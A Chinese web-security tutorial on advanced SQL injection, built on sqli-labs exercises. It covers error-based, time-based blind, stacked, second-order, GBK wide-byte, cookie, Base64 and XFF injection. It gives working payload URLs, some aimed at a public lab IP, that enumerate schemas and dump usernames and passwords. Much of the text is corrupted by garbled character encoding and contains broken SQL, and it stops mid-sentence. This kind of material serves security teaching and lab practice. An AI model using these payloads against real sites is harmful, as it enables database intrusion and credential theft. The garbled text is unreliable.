web安全之SQL注入進(jìn)階
本文是web安全系列的第二章,主要介紹SQL注入進(jìn)階內(nèi)容。
報(bào)錯注入攻擊
查庫 (select schema_name from information_schema.schemata limit m,n)
查表 (select table_name from information_schema.columns where table_schema=’whc’ limit 0,1)
查字段 (select column_name from information_schema.columns where table_schema=’whc’ limit 0,1)
加上limit 是因?yàn)閟qllab里面限制了回顯的個數(shù),實(shí)戰(zhàn)里面應(yīng)該用不到。
1. Floor 方式
用法:
select 1,count(*),concat(0x3a,0x3a,(select use()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
函數(shù)釋義:
rand() 隨機(jī)數(shù)函數(shù) 產(chǎn)生0-1的隨機(jī)數(shù)
count(_) 計(jì)數(shù)
floor() 向下取整函數(shù),舍去小數(shù)點(diǎn),比如:floor(1.3)=1
floor(rand()_2) 結(jié)果只有0和1
group by name 按name的首位字典順序排列
concat() 連接括號里面的內(nèi)容
select 1 from (table name) 派生表
此處有三個點(diǎn),一是需要count計(jì)數(shù),二是floor,取得0 or 1,進(jìn)行數(shù)據(jù)的重復(fù),三是group by進(jìn)行分組,但具體原理解釋不是很通,大致原理為分組后數(shù)據(jù)計(jì)數(shù)時重復(fù)造成的錯誤。也有解釋為mysql 的bug 的問題。但是此處需要將rand(0),rand()需要多試幾次才行。
實(shí)列:
在sqli less-5上進(jìn)行測試
這里只用user()來做實(shí)例,其他爆表,爆字段直接代替user()就行了
id=1' union select 1,count(*),concat(0x3a,0x3a,user(),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+
可以簡化成這樣:
id=1' and (select count(*) from information_schema.tables group by concat(0x3a,0x3a,version(),0x3a,0x3a,floor(rand(0)*2))) --+
也可以改成這樣:
id=1' and (select 1 from (select count(*),(concat(0x3a,user(),0x3a,floor(rand()*2)))name from information_schema.tables group by name)b --+
語句分解:
(select 1 from b) //在b上做派生表
b=select count(_),name from information_schema.tables group by name //從information_schema里面選取那么的內(nèi)容和計(jì)數(shù)的內(nèi)容
name=concat(0x3a,(查詢內(nèi)容),0x3a,floor(rand()_2)) //把:和查詢內(nèi)容,還有隨機(jī)取整數(shù) 連接在一起
具體為什么count(_),floor(rand(0)_2) group by 會報(bào)錯,必須說這三個元素必須全部放在一個語句里才能報(bào)錯。
解釋下select 1 from table
它的作用就是 增加臨時列,每行的列值是寫在select后的數(shù),這條sql語句中是1
rand(0) rand(1)和rand()的區(qū)別
rand()會隨機(jī)報(bào)錯,就是有可能報(bào)錯,有的時候不會,rand(0)肯定會報(bào)錯,rand(1)則一定不會報(bào)錯。
所以要讓他報(bào)錯的話直接用rand(0)
2.xpath函數(shù):
主要的兩個函數(shù):
Mysql5.1.5
updatexml():對xml進(jìn)行查詢和修改
extractvalue():對xml進(jìn)行查詢和修改
都是最大爆32位。
and updatexml(1,concat(0×26,(version()),0×26),1);
and (extractvalue(1,concat(0×26,(version()),0×26)));
Sqli-lab less5測試:
Updatexml():
http://192.168.1.180/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x26,database(),0x26),1);--+
Extractvalue():
http://192.168.1.180/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x26,database(),0x26));--+
時間盲注
它與Boolean注入的不同之處在于,時間注入是利用sleep()
或benchmark()
等函數(shù)讓mysql的執(zhí)行時間變長。
時間盲注多與IF(expr1,expr2,expr3)
結(jié)合使用,此if語句含義是:如果expr1是TRUE
,則IF()的返回值為expr2:否則返回值為expr3,
[http://43.247.91.228:84/Less-9/?id=1’ and if(length(database](http://43.247.91.228:84/Less-9/?id=1' and if(length(database)()))>1,sleep(5),1)%23 //判斷數(shù)據(jù)庫的庫名長度為多少
http://43.247.91.228:84/Less-9/?id=1’ and if(substr(database(),1,1)=’s’,sleep(5),1) //判斷數(shù)據(jù)庫名的第一個字
在線靶場
這里輸入?id=1′ ?id=1″頁面都沒有變化,說明之前的注入方法都沒用,包括boolean型盲注也都不行了。
嘗試基于時間的盲注,這里需要介紹一個mysql內(nèi)置的函數(shù)sleep(5)
?表示執(zhí)行這個函數(shù)時會延遲5秒。(每種數(shù)據(jù)庫都有各自延時函數(shù))
可以用F12看下網(wǎng)站處理這個請求正常需要的時間。
驗(yàn)證時間盲注
輸入http://43.247.91.228:84/Less-9/?id=1
響應(yīng)時間為1秒內(nèi)。
輸入:http://43.247.91.228:84/Less-9/?id=1’ and sleep(5)%23
響應(yīng)時間為5秒
利用burp進(jìn)行抓包利用破解對a-z的字母進(jìn)行窮舉,得到數(shù)據(jù)庫名。
時間注入代碼分析
在時間注入頁面中,程序獲取GET參數(shù)ID,通過preg_match判斷參數(shù)ID中是否存在Union危險(xiǎn)字符,然后將參數(shù)ID拼接到SQL語句中。從數(shù)據(jù)庫中查詢SQL語句,如果有結(jié)果,則返回yes,否則返回no。當(dāng)訪問該頁面時,代碼根據(jù)數(shù)據(jù)庫查詢結(jié)果返回YES或no,而不返回?cái)?shù)據(jù)庫中的任何數(shù)據(jù)庫,所以一頁面上只會顯示yes或no ,和Boolean注入不同的是,此處沒有過濾sleep等字符,
此處當(dāng)訪問id=1‘ and if (ord(substring(user(),1,1))=114,sleep(3),1)%23
由于user()為root,root第一個字符‘r’的ASCII值是114,所以SQL語句中if條件成立,執(zhí)行sleep(3),頁面會延遲3s,通過這種延遲即可判斷sql語句的執(zhí)行結(jié)果。
堆疊查詢注入攻擊
堆疊查詢可以執(zhí)行多條語句,多語句之間以分號(;)隔開。堆疊查詢注入就是利用這個特點(diǎn)。
‘;select if(substr(user(),1,1)=’r’,sleep(3),1)%23 //利用堆疊注入獲取數(shù)據(jù)
‘;select if(substr((select table_name form information_schema.tables where table_schema=datables() limit 0,1),1,1)=’e’,sleep(3),1)%23 //利用堆載獲取表名
堆載查詢注入代碼分析
在堆疊注入頁面中,程序獲取GET參數(shù)ID,使用PDO的方式進(jìn)行數(shù)據(jù)查詢,但仍然將參數(shù)ID拼接到查詢語句中,導(dǎo)致PDO沒有起到預(yù)編譯的效果,程序仍然存在SQL注入漏洞。
使用POD執(zhí)行SQL語句時,可以執(zhí)行多語句,不過這樣通常不能直接得到注入結(jié)果,因?yàn)镻OD只會返回第一條SQL語句執(zhí)行的結(jié)果,所以在第二條語句中可以用update更新數(shù)據(jù)或者使用時間盲注獲取數(shù)據(jù)。訪問:dd.php?id=1’;select if(ord(substing(user(),1,1))=114,sleep(3),1);%23
時執(zhí)行sql語句為:
SELECT * FROM users where ‘id’ =’1’; select if(ord(substring(user(),1,1))=114,sleep(3),1);%23
此時SQL語句分為了兩條,第一SELECT * FROM user where ‘id‘ =’1‘
是代碼自己的selct查詢,而selct if(ord(substring(user(),1,1))=114,sleep(3),1)%23
則是我們構(gòu)造的時間盲注的語句。
二次注入攻擊
什么是二次注入?
二次注入是指已存儲(數(shù)據(jù)庫,文件)的用戶輸入被讀取后再次進(jìn)入到SQL查詢語句中導(dǎo)致的注入。
二次注入是sql注入的一種,但是比普通sql注入利用更加困難,利用門檻更高。
普通注入數(shù)據(jù)直接進(jìn)入到 SQL 查詢中,而二次注入則是輸入數(shù)據(jù)經(jīng)處理后存儲,取出后,再次進(jìn)入到 SQL 查詢。
二次注入原理
二次注入的原理,在第一次進(jìn)行數(shù)據(jù)庫插入數(shù)據(jù)的時候,僅僅只是使用了addslashes
或者是借助?get_magic_quotes_gpc
對其中的特殊字符進(jìn)行了轉(zhuǎn)義,在寫入數(shù)據(jù)庫的時候還是保留了原來的數(shù)據(jù),但是數(shù)據(jù)本身還是臟數(shù)據(jù)
。
在將數(shù)據(jù)存入到了數(shù)據(jù)庫中之后,開發(fā)者就認(rèn)為數(shù)據(jù)是可信的。在下一次進(jìn)行需要進(jìn)行查詢的時候,直接從數(shù)據(jù)庫中取出了臟數(shù)據(jù),沒有進(jìn)行進(jìn)一步的檢驗(yàn)和處理,這樣就會造成SQL的二次注入。比如在第一次插入數(shù)據(jù)的時候,數(shù)據(jù)中帶有單引號,直接插入到了數(shù)據(jù)庫中;然后在下一次使用中在拼湊的過程中,就形成了二次注入。
二次注入攻擊實(shí)列
靶場練習(xí)地址
二次注入的實(shí)例——SQLIlab lesson-24
學(xué)習(xí)SQL注入,必定要刷SQLIlab,這里以SQLIlab lesson-24為例,也是考察的二次注入的點(diǎn)。打開題目
這題正常的流程是首先注冊一個賬號,然后登陸進(jìn)去會讓你修改新的密碼:
如果直接嘗試在登陸處嘗試SQL注入,payload: admin’#
發(fā)現(xiàn)失?。?/p>
看一下源代碼:
登陸處的username
和password
都經(jīng)過了mysql_real_escape_string
函數(shù)的轉(zhuǎn)義,直接執(zhí)行SQL語句會轉(zhuǎn)義’,所以該處無法造成SQL注入。
Ok,此時我們注冊一個test’#的賬號:
注冊用戶的時候用了mysql_escape_string
過濾參數(shù):
但是數(shù)據(jù)庫中還是插入了問題數(shù)據(jù)test’#
也就是說經(jīng)過mysql_escape_string
轉(zhuǎn)義的數(shù)據(jù)存入數(shù)據(jù)庫后被還原,這里做了一個測試:
回到題目,此時,test用戶的原來密碼為test,我們以test’#用戶登陸,再進(jìn)行密碼修改
我們無需填寫current password即可修改test用戶的密碼:
我們再看一下test用戶的密碼:
Ok,我們看一下源代碼:
Username直接從數(shù)據(jù)庫中取出,沒有經(jīng)過轉(zhuǎn)義處理。在更新用戶密碼的時候其實(shí)執(zhí)行了下面的命令:
“UPDATEusers SET PASSWORD=’22′ where **username=’test’#**‘ and password=’$curr_pass’”;
因?yàn)槲覀儗栴}數(shù)據(jù)存儲到了數(shù)據(jù)庫,而程序再取數(shù)據(jù)庫中的數(shù)據(jù)的時候沒有進(jìn)行二次判斷便直接帶入到代碼中,從而造成了二次注入;
二次注入代碼分析
以下代碼實(shí)現(xiàn)了簡單的用戶注冊功能,程序獲取到GET參數(shù)username和參數(shù)password,然后將username和password拼接到SQL語句,使用insert 語句插入數(shù)據(jù)庫中,由于參數(shù)username使用addslashes進(jìn)行轉(zhuǎn)義,參數(shù)password進(jìn)行了MD5哈希,所以此處不存在SQL注入漏洞。
當(dāng)訪問username=test’&password=123456時,
執(zhí)行的SQL語句為:
Insert into users(‘username’,’password’) values (‘test\’’,’ E10ADC3949BA59ABBE56E057F20F883E’)
數(shù)據(jù)庫中就會存在一條名為test‘的用戶
寬字節(jié)注入攻擊
什么是寬字節(jié)注入?
如今有很多人在編碼的時候,大多數(shù)人對程序的編碼都使用unicode編碼,網(wǎng)站都使用utf-8來一個統(tǒng)一國際規(guī)范。但仍然有很多,包括國內(nèi)及國外(特別是非英語國家)的一些cms,仍然使用著自己國家的一套編碼,比如gbk,作為自己默認(rèn)的編碼類型。也有一些cms為了考慮老用戶,所以出了gbk和utf-8兩個版本。一個gbk編碼漢字,占用2個字節(jié)。一個utf-8編碼的漢字,占用3個字節(jié)。
至于mysql寬字節(jié)注入的原理就是因?yàn)閿?shù)據(jù)庫使用了GBK編碼
寬字節(jié)注入原理
GBK 占用兩字節(jié)
ASCII占用一字節(jié)
PHP中編碼為GBK,函數(shù)執(zhí)行添加的是ASCII編碼(添加的符號為“\”),MYSQL默認(rèn)字符集是GBK等寬字節(jié)字符集。
大家都知道%df’ 被PHP轉(zhuǎn)義(開啟GPC、用addslashes函數(shù),或者icov等),單引號被加上反斜杠\,變成了 %df\’,其中\(zhòng)的十六進(jìn)制是 %5C ,那么現(xiàn)在 %df\’ =%df%5c%27,如果程序的默認(rèn)字符集是GBK等寬字節(jié)字符集,則MySQL用GBK的編碼時,會認(rèn)為 %df%5c 是一個寬字符,也就是縗,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了。
寬字字節(jié)注入實(shí)列
sqli-32 題
測試靶場地址
思路:
由于單引號被過濾了,所以我們使用
%df
吃掉 \, 具體的原因是urlencode(\') = %5c%27
,我們在%5c%27
前面添加%df
,形成%df%5c%27
,而上面提到的mysql在GBK編碼方式的時候會將兩個字節(jié)當(dāng)做一個漢字,此事%df%5c
就是一個漢字,%27則作為一個單獨(dú)的符號在外面,同時也就達(dá)到了我們的目的。將 ‘ 中的 \ 過濾掉,例如可以構(gòu)造?
%**%5c%5c%27
的情況,后面的%5c
會被前面的%5c
給注釋掉。這也是bypass的一種方法。
注入實(shí)操:
(1) 構(gòu)造代碼,成功繞過,payload如下:
http://localhost:81/sqli-labs-master/Less-32/index.php?id=1%df%27 and 1=1--+
(2)order by查詢字段數(shù)
http://localhost:81/sqli-labs-master/Less-32/index.php?id=1%df%27 order by 4--+
(3)union selec聯(lián)合查詢
http://localhost:81/sqli-labs-master/Less-32/index.php?id=0%df%27 union select 1,2,3--+
其他的都是一樣的了、。。。。。。。。。。。
http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1--+
http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1--+
http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 oder by 3--+
http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,2,3--+
http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1,database(),3--+
http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1,(select group_concat(username,password) from users),3--+
寬字節(jié)注入代碼分析
在寬字節(jié)注入頁面中,程序獲取GET參數(shù)ID,并對參數(shù)ID使用addslashes()轉(zhuǎn)義,然后拼接到SQL語句中,進(jìn)行查詢;
當(dāng)訪問id=1‘時,執(zhí)行的SQL語句:
SELECT * FORM users WHWRE id=’1\’’
可以看到單引號被轉(zhuǎn)義符“\”轉(zhuǎn)義,所以在一般情況下,是無法注入的,但由于在數(shù)據(jù)庫查詢前執(zhí)行了SET NAMES ‘GBK’,將編碼設(shè)置為寬字節(jié)GBK,所以此處存在寬字節(jié)注入漏洞,
在php中,通過iconv()進(jìn)行編碼轉(zhuǎn)換時,也可能存在寬字符注入漏洞。
Cookie 注入攻擊
通常我們的開發(fā)人員在開發(fā)過程中會特別注意到防止惡意用戶進(jìn)行惡意的注入操作,因此會對傳入的參數(shù)進(jìn)行適當(dāng)?shù)倪^濾,但是很多時候,由于個人對安全技術(shù)了解的不同,有些開發(fā)人員只會對get,post這種方式提交的數(shù)據(jù)進(jìn)行參數(shù)過濾。
但我們知道,很多時候,提交數(shù)據(jù)并非僅僅只有g(shù)et\post這兩種方式,還有一種經(jīng)常被用到的方式:request(“xxx”),即request方法
通過這種方法一樣可以從用戶提交的參數(shù)中獲取參數(shù)值,這就造成了cookie注入的最基本條件:使用了request方法,但是注入保護(hù)程序中只對get\post方法提交的數(shù)據(jù)進(jìn)行了過濾。
Cookie注入攻擊實(shí)列
靶場地址
這關(guān)是一個Cookie處的注入,輸入正確的賬號密碼后,會跳到index.php頁面,如下圖
這個時候再訪問登陸頁面的時候http://43.247.91.228:84/Less-20/還是上面的頁面,因?yàn)榈顷懞髮⑿畔⒋嬖诹薈ookie中,后臺進(jìn)行判斷,發(fā)現(xiàn)Cookie中有值時會顯示上面的個人信息,而不是登錄框。 在上面哪些信息中可以看到,多出了一個Your ID:8,這個信息很有可能是從數(shù)據(jù)庫中查詢出來的,我們再次訪問該頁面,使用burp抓包分析
可以看到Cookie中有uname=admin,說明后臺很有可能利用cookie中的uname取數(shù)據(jù)庫中進(jìn)行查詢操作。
將cookie中的信息改為uname=admin’
頁面報(bào)錯了,并且從報(bào)錯信息中可以看出,后臺使用的是單引號進(jìn)行的拼湊。后面沒有必要繼續(xù)下去了,聯(lián)表查詢、報(bào)錯注入、盲注在這里都是可以的。
繼續(xù)使用burp進(jìn)Cookie: uname=admin' AND UpdateXml(1,concat(0x7e,(select username from users LIMIT 1,1),0x7e),1)# ;
得到:
Cookie 注入代碼分析
通過$COOKIE能獲取瀏覽器cookie中的數(shù)據(jù),在cookie注入頁面中程序通過$COOKIE獲取參數(shù)ID,然后直接將ID拼接到slect語句中進(jìn)行查詢,如果有結(jié)果則將結(jié)果輸出到頁面。
這里可以看到,由于沒有過濾cookie中的參數(shù)ID且直接拼接到SQL語句中,所以存在SQL注入漏洞。當(dāng)在cookie中添加id=1 union select 1,2,3%23時,執(zhí)行的SQL語句為:
Select * from users where ‘id’=1 union select 1,2,3#
此時,SQL語句可以分為select * from users where ‘id’ =1 和 union select 1,2,3兩條,利用第二條語句就可以獲取數(shù)據(jù)庫中的數(shù)據(jù)。
[ 0 ]Base64 注入攻擊
Base64 注入代碼分析
在base64 注入頁面中,程序獲取GET參數(shù)ID,利用base64_decode()對參數(shù)ID進(jìn)行base64解碼,然后直接將解碼后的$id拼接到select語句中進(jìn)行查詢,通過while循環(huán)將查詢結(jié)果輸出到頁面。
由于代碼沒有過濾解碼后的$id,且將$id直接拼接到SQL語句中,所以存在SQL注入漏洞。當(dāng)訪問id=1 union select 1,2,3#
時,執(zhí)行的SQL語句為:
Select * from users wheren ‘id’=1 union select 1,2,3#
此時SQL語句可以分為select * form users where ‘id’=1和union select 1,2,3
兩條,利用第二條語句就可以獲取數(shù)據(jù)庫中的數(shù)據(jù)。
[ 0 ]XFF注入攻擊
XFF注入代碼分析
PHP 中的getenv()函數(shù)用于獲取一個環(huán)境變量的值,類似于$SERVER或$ENV,返回環(huán)境變量對應(yīng)的值,如果環(huán)境變量不存在則返回FALSE。
使用以下代碼即可獲取客戶端IP地址,程序先判斷是否存在HTTP頭部參數(shù)